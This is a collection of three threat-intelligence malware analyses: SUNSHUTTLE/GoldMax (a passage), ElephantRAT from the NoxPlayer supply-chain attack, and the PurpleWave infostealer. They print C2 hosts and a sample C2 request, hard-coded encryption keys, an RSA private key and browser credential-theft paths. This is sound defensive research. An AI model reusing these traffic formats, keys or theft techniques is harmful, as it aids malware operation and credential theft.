49152:bqjCBg/1/zelmQLgGZRx9g4wwA3NnbgsPMfdLqEUI:bOCeFzelhL/TxEwwR0sk1Lqp - **Entropy**: 7.875073 **Antivirus**: - BitDefender: Gen:Variant.Bulz.370300 - ESET: a variant of WinGo/Agent.AE trojan - Emsisoft: Gen:Variant.Bulz.370300 (B) - Ikarus: Trojan.Win64.Rozena - Lavasoft: Gen:Variant.Bulz.370300 - Microsoft Security Essentials: Trojan:Win64/GoldMax.A!dha - Sophos: Mal/GoldMax-A **YARA Rules**: No matches found. **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: e58ab46f2a279ded0846d81bf0fa21f7 **PE Sections**: - **MD5**: b1ebe7f6d9f68ec788abf985f80220c9 (header) - Raw Size: 512 - Entropy: 2.484697 - **MD5**: d41d8cd98f00b204e9800998ecf8427e (UPX0) - Raw Size: 0 - Entropy: 0.000000 - **MD5**: 5fe74989ec393ccead259222602d437c (UPX1) - Raw Size: 2036224 - Entropy: 7.875650 - **MD5**: 8b4f623319b09fd4b7d5fcdc5179f6ee (UPX2) - Raw Size: 512 - Entropy: 1.763456 ### Relationships - `f28491b367...` Contains `fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836` **Description**: This file is a 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute `fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836` in memory. ### WindowsDSVC.exe_Unpacked **Tags**: backdoor, trojan **Details**: - **Name**: WindowsDSVC.exe_Unpacked - **Size**: 5180928 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: 4de28110bfb88fdcdf4a0133e118d998 - **SHA1**: 84ae7c2fee1c36822c8b3e54aef31e82d86613c1 - **SHA256**: fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836 - **SHA512**: 2202852702404e60aeb642cda3ecfe0136a39bac04d86a746c987fbcbd14be3b763961b67a19a013e23e66c8f0c0c03050933e2e27ee - **ssdeep**: 49152:I4iyaNa/K/kLYvlGbdc55w/g0EuV+lU/VNW5HzuFNRQNAQQik2NXST9yXMw+37KI:nogIYY4bdaVE+lUNNW5iCvXno+A - **Entropy**: 5.962488 **Antivirus**: - Ahnlab: Trojan/Win64.Cobalt - BitDefender: Gen:Variant.Bulz.370300 - ClamAV: Win.Malware.SUNSHUTTLE-9838970-0 - ESET: a variant of WinGo/Agent.AE trojan - Emsisoft: Gen:Variant.Bulz.370300 (B) - Ikarus: Trojan.Crypter - Lavasoft: Gen:Variant.Bulz.370300 - Microsoft Security Essentials: Trojan:Win64/GoldMax.A!dha - Sophos: Mal/GoldMax-A - Systweak: trojan-backdoor.sunshuttle-r **YARA Rules**: - rule CISA_3P_10327841_02: SOLARFLARE trojan - rule FireEye_21_00004531_01: SUNSHUTTLE backdoor - rule FireEye_21_00004531_02: SUNSHUTTLE backdoor **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: 91802a615b3a5c4bcc05bc5f66a5b219 **PE Sections**: - **MD5**: d9e458c1580f06a7f3f2929f5400a209 (header) - Raw Size: 1536 - Entropy: 1.227428 - **MD5**: 97e1f8721f9fae6297bdcceb13887e95 (.text) - Raw Size: 2404352 - Entropy: 5.902419 - **MD5**: ead2f864cd6d16d33f7282151865be45 (.rdata) - Raw Size: 2512384 - Entropy: 5.344095 - **MD5**: b51b1bb5decadc56e32f8288fc400c68 (.data) - Raw Size: 260608 - Entropy: 5.551173 - **MD5**: ace875ec125258b2042837d2a2443781 (.idata) - Raw Size: 1536 - Entropy: 2.877753 - **MD5**: 07b5472d347d42780469fb2654b7fc54 (.symtab) - Raw Size: 512 - Entropy: 0.020393 ### Relationships - `fa1959dd38...` Contained_Within `f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c` - `fa1959dd38...` Connected_To `185.225.69.69` **Description**: The file is a 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "WindowsDSVC.exe" (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c). The application is written in the Golang (Go) open-source language. The malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value. If not, the malware will proceed to check if the file "%current directory%\runlog.dat.tmp" is installed on the compromised system. If the file is not installed, it will encrypt configuration data using the Advanced Encryption Standard (AES)-256 encryption algorithm with the hard-coded key: "u66vk8e1xe0qpvs2." The encrypted data is Base64 encoded using the custom Base64 alphabet ("=" replaced with null) before being stored into "runlog.dat.tmp" in the current directory. Displayed below is the format of the configuration before being encrypted and encoded: ``` --Begin configuration data-- Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string Sample observed: 8aebf98f920a2a198c00d87c246572b9|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS --End configuration data-- ``` The configuration contains: MD5 hash of the current time | the number range used by its pseudorandom number generator (PRNG) | enable and disable network traffic feature | activation date | Base64 encoded user-agent string used for the requests | padding bytes. It will attempt to send an HTTP GET request to its C2 server for a session key. The GET request contains a custom cookie (unique identifier value for authentication), hard-coded User-Agent string, and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic. Displayed below is a sample GET request for a session key: ``` --Begin sample request -- GET /live/ HTTP/1.1 Host: 185.225.69.69 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Connection: Keep-Alive Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114 Referer: www[.]google.com Accept-Encoding: gzip --End sample request -- ``` The response payload was not available for analysis. Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request, the difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic configuration is enabled (set to 1). Displayed below are sample requests: ``` --Begin request-- GET /ui/v3/icons/ HTTP/1.1 Host: ssl[.]gstatic.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Connection: Keep-Alive Referer: www[.]google.com Accept-Encoding: gzip --End request-- --Begin request-- GET /css/bootstrap.css/ HTTP/1.1 Host: 185[.]225.69.69 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Connection: Keep-Alive Referer: www[.]facebook.com Accept-Encoding: gzip --End request-- ``` The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command, and overwrite the existing data in its configuration file with the new configuration data from the remote operator. This can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic, and update existing URI and User-Agent values. The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA Optimal Asymmetric Encryption Padding (OAEP) received from its C2: ``` --BEGIN PRIVATE KEY-- MIIEowIBAAKCAQEAn7SgleG8sxrq76pXIY/6mKi0EHfN2NVSrY1ELilCSVXUFZl4 aQTnuWPlJzRMB0aLlxl4HXyXWJLgtRT//Ar1TTai5/Z/OfP82y0cggudXhg6rc9 fX5zykr1UNtl7Vl13nGh39YySEcMP1Eyz+L8OZ9WAs7G4+s9N7I3Di+a+ZlwG4Rs Jb1zNrqxQlmr5bWgwRlWj0I/ngo7Ej/CjLXJNwW4LOcJu2Ok9R6SLWX1CpdvY/DD Gi5Zdw3RzIuKDwRbUcIRApuiRxjxY/Os4+A+lhazmBsVK59KGKZZ4WckAzdrtFEm g6VVlWjBv28PGIpXvhH+M9vUg3uPmcwXchg7wwIDAQABAoIBAEJlx2npCxnvtANm b4k9ofM8GHjMRmHC9ve+xrzmXG++5kkAoGYRKwIRvSDahk10D+8HIMApn4assg23 KGIycB/k+j+0ZNrETLkW/UY36/pF2oeOrlLqctuE5I70WGEgk3ejCKjWFduk5jug 155EgZa3XvwV2ezCTZZNWsRkGGtyrj4AZ/vRX4rIyvMTFzm4/H5Pj6QTCUwTPt2i ukXF7vf8MeDk4m77t7+x40nQ94I1Ti6LtzhiuRMr9Eub7GUHS8wtUq4527FOeKsC reUDNETCmTZGnAT7KuXRNbhIKyxL/6Kep7Yb18PF5WF9Lyocx/VDHKPoOdv5pqTP 7yn0CLECgYEA0jwbgGTG5I33ghzOeAUmx2hRAPtmFTD9s/7X2vk91lmFCHqg8hVh bbz6ELWKI9LP4XPzK4uMifJ2z3PXmNCRw4NBZy+0T132PQZd1V1x9lFOmAmiybRi ePCPXtjVPbVQnV3F66Ad/8jv8pvxIZBYBxFGm6FF86WaoJXNKAILv4kCgYEAwnil FKQYwOyARY5lwjY5dd04r72R3y0Wpa2b8Bo8cJjUR5VsH1XTZnmV/C+dMWhdlB8B vNZxUOLO16hFhqu/rPEwk8RyvrHU+b89O8mnphVYSq0hEsSBMH5BUjqQiHKu+BEz vsHb+KVJTcvRIOdrtjZJukeZ2toH9PVolpg44esCgYAffRFBcda4dOsVeesS3vKn +1/mncD0e5oEU69RBPPWHyJl2rgwijNFlIB/8DD4nKK2Sf+qDgTGxKI3AErSgKrU ddxd8C85lAFFsqZrRsvC8PqsmwTe4T2+j4lp02BdFcM1Ts5ONHVJ0nbeB61eMZh9 toC03rrze2JlmwpXa7cGwQKBgFUVNZx3QwE9N822xFyZHsCrff6doPGUp4DrGPuO bv0QUGfVPw3infAKqA1Cw7J3J+IDQt5csA0kfjyqOWj3QZAnogo0e8NkyHpQKjk7 O+cVFaDuaDbu1FrkEi4ow01/Z3/O/uWpqVT687xevOt5dI2u6MjgRLcUh0CsEgs5 JEHrAoGBAL4zB1serfGXHvLO9dDiSO34w5XcVQK4E34ytM224blp16U0nz5hfSQD WQaISJs/aqBuUgVUA3WZHZbEvKbcU5u0Ieos+rIGJrUv0tJtLgtOBmfz1q3jOKOY qwQ6HoAHqfOC5FS6t0kBDsrssGHQTqTtrnxhL6l6oBlWWXNMxQ4g --END PRIVATE KEY-- ``` ### Lexicon.exe **Tags**: backdoor, trojan **Details**: - **Name**: Lexicon.exe - **Size**: 2036736 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: 9466c865f7498a35e4e1a8f48ef1dffd - **SHA1**: 72e5fc82b932c5395d06fd2a655a280cf10ac9aa - **SHA256**: b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 - **SHA512**: 7efa5f638b31b95637a497714b1b33b63abdd72afb035df574a195d20d37381a53f934e0908813dea513f46a4d7cda6a16a0511a721dd - **ssdeep**: 49152:Om9E2fAhvsWGCDWMcvIODKsGHgNhX69CFoGlvcpTcVIa:61lIl1mlgb9aGdH - **Entropy**: 7.874690 **Antivirus**: - Ahnlab: Backdoor/Win32.Sunshuttle - Antiy: Trojan[Backdoor]/Win64.Agent - Avira: TR/Sunshuttle.A - BitDefender: Trojan.GenericKD.34453763 - ClamAV: Win.Malware.SUNSHUTTLE-9838969-0 - Comodo: Malware - Cyren: W64/Trojan.VYRP-8655 - ESET: a variant of WinGo/Agent.AE trojan - Emsisoft: Trojan.GenericKD.34453763 (B) - Ikarus: Trojan.Win64.Rozena - K7: Trojan (00578be81) - Lavasoft: Trojan.GenericKD.34453763 - Quick Heal: Trojan.Agent - Sophos: Troj/GoldMax-A - Symantec: Backdoor.GoldMax - TrendMicro: Backdoo.207681C5 - TrendMicro House Call: Backdoo.207681C5 - VirusBlokAda: Trojan.Win64.WinGo - Zillya!: Trojan.APosT.Win32.1814 **YARA Rules**: No matches found. **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: e58ab46f2a279ded0846d81bf0fa21f7 **PE Sections**: - **MD5**: 29214ad437f160f5bd92db6f746ecd8f (header) - Raw Size: 512 - Entropy: 2.447284 - **MD5**: d41d8cd98f00b204e9800998ecf8427e (UPX0) - Raw Size: 0 - Entropy: 0.000000 - **MD5**: 02892067ad6acb49bb6de6eddcae1f78 (UPX1) - Raw Size: 2035712 - Entropy: 7.875271 - **MD5**: 74553568f3052911c6df3835582d3b64 (UPX2) - Raw Size: 512 - Entropy: 1.763456 **Relationships**: - `b9a2c986b6...` Contains `94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45` **Description**: This file is a 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute `94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45` in memory.
# [RE020] ElephantRAT (Kunming version): our latest discovered RAT of Panda and the similarities with recently Smanager Recently, ESET published a report on a supply chain attack targeting software company BigNox, taking advantage of the update mechanism of the NoxPlayer software - an Android emulator on PC and Mac. This software is used by many gamers in Vietnam as well as all over the world. ESET has named this campaign Operation NightScout. With the assessment that Vietnam can also have many people infected due to a large number of users, we have begun to investigate and analyze further. Based on the hashes of the samples provided by ESET, we have not only re-analyzed them, but also dug deeper. We found many points that ESET did not mention in their report. At the same time, we have found a number of similarities and relationships between these samples and those used in the last campaign against the Vietnam Government Certification Authority as well as a large Vietnamese corporation that we already mentioned. Not only that, we have discovered a new RAT, which is named ElephantRat. “昆明版本” means “Kunming version.” In those samples, we focus on the E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C sample and analyze through to embedded PE(s) and execute fileless on memory to the very end. Looking for similarities in the binary pattern, we discovered another pattern that is being used by hackers recently, similar to the one used in our attack on large corporations in Vietnam. Because the hacker does not use much C++ in OOP Style, the main tool we use is still IDA and the following main plugins: FindCrypt3, SusanRTTI, LazyIDA. Sample E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C (SHA-1), in ESET report is UpdatePackageSilence.exe, has: - MD5 = 06AF27C0F47837FB54490A8FE8332E04 - SHA-256 = E76567A61F905A2825262D5F653416EF88728371A0A2FE75DDC53AAD100E6F46 - Compiler time: Wednesday, 26.08.2020 08:39:20 UTC It is the first stage in the infection chain. The way to code, execute, and behavior like VVSup.exe mentioned in the previous blog post. The sample is compiled using Visual Studio 2008 (Linker version 9.00). In particular, this file has a very large overlay data at the end of PE, offset 0x45800. This Exe file is also an MFC Dialog application, except that it uses MFC version 9.0 which included in Visual Studio 2008 (VVSup uses MFC ver 4.2, included in Visual Studio 6), ANSI mode. And the Visual Studio that hacker used is the Chinese version, so all default resource items that MFC Wizard automatically generates are in Chinese. Dialog 30721 is the MFC's default "New Item" Dialog, the StringTable ID from 60000 is also the default resource string ID of MFC. Hacker randomly entered the About Wizard named Exe and version number. The dialog that the hacker added was reset to English. Main Dialog has ID = 102, About Dialog has ID = 100. Control IDs 1 and 2 are the default MFC Wizard generates, which are IDOK and IDCANCEL. Buttons 3 (ID_ABORT), 4 (ID_RETRY), 5 (ID_IGNORE) are added by hacker. We need to notice Button ID_ABORT 3. The main icon of the app (ID 1) is used by the hacker using the icons that installers often use. SusanRTTI gives us the class flowchart of the app. Using LazyIDA's Search features, with CSkinMfcApp and CSkinMfcDlg, we just found this one link from China, which mentions skin dialog creation technique for MFC app. With the addition of the CRgn class, we can believe that hackers took this entire project and made a few changes. The execution mechanism of a dialog-type MFC app, we released in the previous blog post, you can review but in this blog post, we just focus on the main point. In the OnInitDialog method of CSkinMfcDlg, the hacker has changed the call to the main infection task and added code: - Resize Dialog to 0 - Hide Dialog - Change the style of Dialog to not show the Windows Taskbar - Post WM_COMMAND to Button ID 3 - Hackers are also careful to simulate adding user left mouse to click on Button ID 3 At the AFX_MSGMAP of CSkinMfcDlg, we found the function that performs the primary infection task. When ExtractAndLoadOverlayDll is called, the hacker will first check if the app has read permission to the Windows\System32 directory and check if the clb.dll file exists. Clb.dll is a Windows file - Column ListBox. Then the hacker opens the Exe, reads the Overlay data at offset 0x45800 and xor with 0xA0 to decrypt the PE file is a DLL. It will then manually load this DLL to memory, starting a long series of manually load fileless PE. At this ManualLoadDll function, we discovered a hacker programming error. Specifically, Malloc does not have free and wrong code: malloc(sizeof(PE_LOADER_INFO)) (16 bytes) to malloc(sizeof(pLdrInfo)) (4 bytes). The PE_LOADER_INFO struct that we renamed, including 4 data members, size is 16 bytes. After alloc 4 byte: After overwrite: About values 0xBAADFOOD and 0xABABABAB ... of VC RTL and Windows Heap Manager, you can read more here. The functions that manually (reflective) load overlay Dll functions are compiled into a shellcode array of bytes, embedded in the .data section, and have a total size of 0xA9E. Start at the address of the LoaderProc function: .data:00440830. 0xA95 is the RVA of constant 0x12345678, which will be overwritten by the memory contents of the variable pLdrInfo after being saved by malloc, sizeof(pointer) = 4 (x86). The first byte of the LoaderProc function will be modified to 0x55 = push ebp. GetLoaderApiAddrs function retrieves the API addresses from kernel32.dll and ntdll.dll into a struct containing pointers to those API functions. The algorithm used to calculate the hash value from the exported API name is ROR13, which is commonly used in Metasploit. Readers can use the plugin shellcode_hashes_search_plugin.py in FireEye's Flare_ida toolkit to automatically determine the name of the API function, select the hash function ror13AddHash32AddDll. This struct has been redefined as follows: The remarkable point is the manual/reflective load feature is used directly with Ntdll.dll native functions, not through kernel32 functions. This is possible to avoid detecting by the AV/EDR hook kernel32.dll. And it also goes with other samples and later fileless PE(s). The code of ReflectiveLoadDll is similar to the other manually load/reflective open source. We will not talk about it again. Searching on Github, Google, and VirusTotal for GetLoaderApiAddrs function, we found no such function. So we think this is a manually/reflectively load library that this group wrote themselves and didn't use any open source. At this point, the Overlay Dll has been loaded and the execution flows directly into the OEP of the Dll. The parent exe does not exit immediately like VVSup.exe, the fileless child dlls will call ExitProcess or TerminateProcess later. We temporarily move to another sample that the ESET report mentioned has SHA1 = 5732126743640525680C1F9460E52D361ACF6BB0. This sample was compiled using Visual Studio 2012, built on 11/16.2020 08:35:32 UTC, also an MFC app, however no longer Dialog app but a Doc - View app, using new MFC Ribbon classes. As a result, the amount of code and classes are bigger, and it is possible that the first stage uses the latest MFC of this group. Hackers no longer rely on extrac32.exe to extract embedded Cab files, but write a CCabinet class using Cabinet API functions available from Windows to unpack. PDB path = "C:\Users\enWin7x64\Desktop\XActor\CreateServer_src\XActorCreateServer\DATA_RES\CommandoLoader\mfeesp\Release\mfeesp.pdb". The executable code that extracts two cab files from the resource is written directly into the InitInstance function of the CmfeespApp class. And LBTServ.dll malware file is extracted from the cab file is a Dll, written in Delphi and built using Embarcadero's latest RAD Studio 10.4 Sydney. This could be a shift to another language, compiler/IDE for future malware development of this group. For the purposes and scope of this article, we do not present these samples. Back on the above Dll overlay, after extracting, we have a DLL with the following information: - Size = 557,056 bytes - MD5 = 054E07CB00E9B21786E2815E9B43CDA9 - SHA256 = 8BF3DF654459B1B8F553AD9A0770058FD2C31262F38F2E8BA12943F813200A4D - Compile time: Monday, 17.08.2020 09:56:11 UTC - Visual Studio 6 There is no PDB path and export, so the original DLL name could not be determined. The size of the .data section is large, after running FindCrypt3, we found that there were large data. All the main tasks of this Dll reside entirely within the DllMain function. When DllMain is called with fdwReason other than DLL_PROCESS_ATTACH, hacker checks whether the Dll can OpenProcess with System Process (PID = 4) with the highest permissions 0x1F0FFF or not. If OpenProcess succeeds, it will return TRUE and do nothing next. Then hacker read from the parent Exe, use the MemSearch function as in VVSup.exe to find and extract the C&C information and save it into a file C:\ProgramData/resmon.resmoncfg. The small difference is that VVSup uses MemSearch to get the C&C info from the parent to write in the child's Dll. And here is the Dll child search back from the parent Exe. Write C&C info to resmon.resmoncfg file. Byte array is the mask for searching is “3F 3E 2F 1E 7F 7E 6F 2E 1F 1E 00 03 3F 3E 2F 4E”. File size of resmon.resmoncfg file is 1550 bytes, copy the content from mask offset + 47. Hackers also use the MakeSureDirectoryPathExists export function from dbghelp.dll to create directory, same as VVSup, and also use a lot of global variables, strings, and arrays. There is a lot of redundant code such as getting CreationTime, LastAccessTime, LastWriteTime of the csrss.exe file system that is not used, and initializing unused strings. Create Sandboxie directory, attribute hidden and system. Dll continues to unpack embedded data in DLL into files: SbieIni.dat, SbieDll.dll, SandboxieBITS.exe and saves them into C:\ProgramData\Sanboxie. The compression and decompression algorithm that hackers use here is the LZMA algorithm. LZMA's SDK can be downloaded and referenced here. The LZMA algorithm identifier used is LZMA_PROPS_SIZE = 5 and the first 8 bytes of the struct CLzmaProps at the beginning of the data compressed. The uncompressed function, the size of the compressed data is passed in minus 4, the size value of the uncompressed data region DWORD immediately preceded the data compressed. But especially the hacker has changed in the code of this LZMA algorithm, so if we statically extract these compressed data areas according to the above information then when decompressing with 7z or tool, lib will normally error, but it is still possible to extract the first area of the correct data compared to the results when debugging and dumping. Using this custom LZMA compression algorithm, we also found in a new sample SManager RAT plugin, uploaded to the first VirusTotal on 23/01/2021: - MD5 = 0603145EFAD6A63F52B6D5161CC5E5AE - SHA256 = 321045519CC3A50CE7948C33C6BBC837B063CD878F8C2CE67DC8DE0825515E10 - File name: SuperShellC_x86.dll In this DLL file, the CSuperShellC class has the task of extracting an embedded Exe, the original name is ssh_server.exe. This LZMA algorithm continues to be improved by hackers, so with static dump we could not open, we had to debug and dump it. Return to Overlay Dll, after extracting 3 files x86 files into C:\ProgramData\Sandboxie folder, Dll continues to check if itself has write permissions to the System32 directory and target Windows operating system is x64 or not. If all is passed, Dll will extract two additional files SbieMsg.dll and SbieMsg.dat into that directory. At the HavePermission function, hacker will create a random file in System32, the first name is wmkawe_ and the content is only one line of text: "Stupid Japanese". In addition, the hacker also checks to see if there are two files with the same random name wmkawe_xxx.data in the two folders: "%LOCALAPPDATA%\VirtualStore\Windows\System32\" and "%LOCALAPPDATA%\VirtualStore\Windows\SysWOW64", if any, it will be deleted. The function will check in the targeted machine OS is Windows, hacker doesn't use the usual IsWow64Process API function, but uses the GetNativeSystemInfo API function. After extracting two more files SbieMsg.dat and SbieMsg.dll, Dll will load SbieMsg.dll by using rundll32.exe utility of Windows, call the exported function is "installsvc", pass the parameter as "ByPassUAC". If it's not Windows x64, SandboxieBITS.exe will be called with the parameter "ByPassUAC" as well. And if there is no write permission to System32, the Dll just calls SandboxieBITS.exe with the parameter "InsertS". Finally, Dll will create bat file to delete parent Exe itself and the bat file itself and then exit parent Exe. The SelfDelete execute cmd.exe function in the hidden window, idle priority and disable Ctrl-C/Ctrl-Break. At this point, stage one of the infection is complete. Stage 2 starts from executing SandboxieBITS.exe or SbieMsg.dll (x64) run as a service Dll. We would like to stop here and publish the following sections when the time is appropriate. We wish you a happy new year! Truong Quoc Ngan (aka HTC) Malware Analysis Expert - VinCSS (a member of Vingroup)
# PurpleWave—A New Infostealer from Russia Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks. The Zscaler ThreatLabZ team came across a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system. The author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates. The author selling PurpleWave claims that this stealer is capable of stealing passwords, cookies, cards, and autofill forms of Chromium and Mozilla browsers. This stealer also collects files from the specified path, takes screenshots, and installs additional modules. The capabilities of the PurpleWave stealer include: - Stealing passwords, cookies, cards, autofill(s) data, browser history from Chromium and Mozilla. - Collecting files from the specified path. - Capturing the screen. - Stealing system information. - Stealing Telegram session files. - Stealing Steam application data. - Stealing Electrum wallet data. - Loading and executing additional module/malware. The author also built a dashboard where the attacker can keep an eye on the infection counts according to dates, access the stolen logs of infected machines, and change the malware configuration settings. The dashboard also provides the attacker with the ability to customize the configuration of the PurpleWave stealer. ## Technical analysis Upon execution of the PurpleWave binary, it gives a fake error message in the Russian language that can be customized by the attacker in their panel. But in the background, it performs all of its malicious activities. The name of the stealer (PurpleWave) and the version (1.0) are hardcoded and encrypted in the binary. Most of the strings in the binary are encrypted, but they get decrypted on runtime with the help of the decryption loop present in the binary. The PurpleWave binary creates a mutex with the name “MutexCantRepeatThis” to avoid multiple executions of malware instances. After that, it sends the HTTP POST request with the custom header and body to the C&C URL to get the configuration data. It creates an HTTP request header with content type as “form-data”. The boundary is assigned with “boundaryaswell” to act as a marker and user agent is set with “app”. It creates a request body with a form name as “id” and the value assigned to it is 1. The received data contains the customized configuration, which may change per the binary. We have observed three different configurations and different hosts of the PurpleWave binaries. - **dirs** - It consists of directory information from which files to be collected. - **fake** - It has the fake alert message to be shown to the user on execution. - **loaders** - It consists of an additional module name to be installed on the infected system. For Config-2, PurpleWave will traverse path “%userprofile%/Desktop” and collect the files having extensions txt, doc, and docx. In Config-3, it will not collect any files but it has a module named “Kv2TDW4O” in the loaders, which will get downloaded and executed on the system. ### Installing additional modules For installing additional modules mentioned in the received configuration (Config-3), PurpleWave again creates an HTTP POST request with the same headers mentioned in the previous request to the C&C host followed by “/loader/module_name”. PurpleWave enumerates the loaders list from a JSON configuration, downloads the module name from the C&C server, and stores it in %appdata% directory, then executes it. The downloaded module that we observed in some PurpleWave binary is the Electrum wallet stealer, which is written in .NET and capable of stealing Electrum wallet data from the infected system. ### Data stealing PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla. For Chromium browsers, it fetches the login credentials from “%AppData%\Local\{Browser}\User Data\Default\Login Data”, cookies from “%AppData%\Local\{Browser}\User Data\Default\Cookies”, and other information, such as autofills data, card data, and browser history, from “%AppData%\Local\{Browser}\User Data\Default\Web Data”. The stolen browser info is collected in the form of a form-data field with the names shown below followed by their value. - **Username** - browser[BrowserName][passwords][index][login] - **Password** - browser[BrowserName][passwords][index][password] Along with the browser’s data, the stealer captures the current screen and appends it to the browser's stolen data in the form-data with the filename as “screenshot.png”. After that, it collects all the information about infected systems, such as operating system, CPU info, GPU info, machine GUID, username, machine name, and more. The stealer also collects the SSFN files from the Steam application. The Steam application is used for playing, discussing, and creating games. The SSFN file exists to verify the users each time they login to their Steam account. It fetches the Steam path from the registry “Software\\Valve\\Steam” and reads all the SSFN files stored into the config directory. PurpleWave also steals session-related files from the Telegram application. It reads the value of the default key in the system registry branch “HKCU\Software\Classes\tdesktop.tg\DefaultIcon” to obtain a path of Telegram and collects all the files that start with “map” in the “D877F783D5D3EF8C” directory. PurpleWave merges all the collected file data, browser data, screenshots, Steam data, Telegram data, and system info, then sends it to a C&C server using an HTTP POST request. ## Coverage The observed indicators in this attack were successfully blocked by the Zscaler Cloud Sandbox. In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. The following advanced threat protection signatures have been released for detecting the malware: - Win32.PWS.PurpleWave ## Conclusion Zscaler believes that PurpleWave represents an active and ongoing threat, as the C&C servers are still alive and responding as of this writing. The malware also still appears to be available for purchase on the black market. PurpleWave has incredible potential to steal sensitive information. The malware is in the early stages of development, with the author likely to enhance its stealing capabilities and add more features. We will continue to keep track of this threat to ensure coverage. ## MITRE ATT&CK™ tactic and technique mapping | Tactic | Technique | |--------|-----------| | T1083 | File and directory discovery | | T1082 | System information discovery | | T1033 | System user discovery | | T1124 | System time discovery | | T1016 | System network configuration discovery | | T1020 | Automated exfiltration | | T1041 | Exfiltration over C&C channel | | T1071 | Uses web protocols | | T1105 | Downloads additional files | | T1555 | Credentials from web browsers | | T1539 | Steal web session cookies | | T1005 | Data from local system | | T1113 | Screen capture | ## Indicators of Compromise (IOCs) **Hashes** - B18BCB300AE480B16A0E0B9110E1C06C - D8A36DCE73E91780B52B6F387C5CFD78 - 9E4D3F4439ED39C01F3346FBDB7488AE - 657C3DDAFF433067C7F74F3453C7EB37 - E770544551F94296B9A867E42435206F - E23DED17CDF532790F708E8A550969EB - BC693652D5F57E792551C3A62049BA0B - B5FB35BE12C66F16F55AF2C2ABC77E55 - AD24A6614C528DE81283FE4A618682C7 - AC17A56355914E231B2AD52E45D6F779 - 7A728F42940F5BCB50AC9A5C57C1D361 - 53BC8E68A9028C58941B78E4AD867B83 - 394298EED78D455416E1E4CF0DEB4802 - 30898909FD4BF93FE23C62E6962BED11 - 02350FFA6B82CD2079797ED4BA1DD240 - 0212EB9562992DA05AB28EFFB9D64D8A - 01C8D886BD213F983D0FD5AD35D78A9A **URLs** - sh1213709.a.had.su/config - sh1213709.a.had.su/gate - sh1213709.a.had.su/loader/Kv2TDW4O - sh1213709.a.had.su/loader/9ZNzBRpT - sh1213709.a.had.su/loader/Ds5UabYT - sh1213709.a.had.su/loader/MTIQK8lV - manget6z.beget.tech/config - manget6z.beget.tech/gate - ec2-3-134-252-78.us-east-2.compute.amazonaws.com/config - ec2-3-134-252-78.us-east-2.compute.amazonaws.com/gate - bibaiboba.beget.tech/config - bibaiboba.beget.tech/gate - sumakokl.beget.tech/config - sumakokl.beget.tech/gate - ikaschyn.beget.tech/config - ikaschyn.beget.tech/gate - h98801x4.beget.tech/config - h98801x4.beget.tech/gate
